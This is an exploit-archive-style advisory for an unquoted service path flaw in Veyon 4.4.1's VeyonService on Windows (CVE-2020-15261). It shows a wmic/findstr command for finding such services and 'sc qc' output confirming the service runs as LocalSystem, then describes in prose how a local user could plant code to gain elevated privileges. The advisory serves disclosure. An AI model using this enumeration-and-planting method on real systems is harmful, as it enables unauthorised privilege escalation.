# Exploit Title: Veyon 4.4.1 - 'VeyonService' Unquoted Service Path # Discovery by: Víctor García # Discovery Date: 2020-03-23 # Vendor Homepage: https://veyon.io/ # Software Link: https://github.com/veyon/veyon/releases/download/v4.4.1/veyon-4.4.1.0-win64-setup.exe # Tested Version: 4.4.1 # Vulnerability Type: Unquoted Service Path # Tested on: Windows 10 Pro x64 # CVE: CVE-2020-15261 # Step to discover Unquoted Service Path: C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """ Veyon Service VeyonService C:\Program Files\Veyon\veyon-service.exe # Service info: C:\>sc qc VeyonService [SC] QueryServiceConfig SUCCESS SERVICE_NAME: VeyonService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\Veyon\veyon-service.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Veyon Service DEPENDENCIES : Tcpip : RpcSs SERVICE_START_NAME : LocalSystem # Exploit: # A successful attempt would require the local user to be able to insert their code in the # system root path undetected by the OS or other security applications where it could # potentially be executed during application startup or reboot. If successful, the local # user's code would execute with the elevated privileges of the application.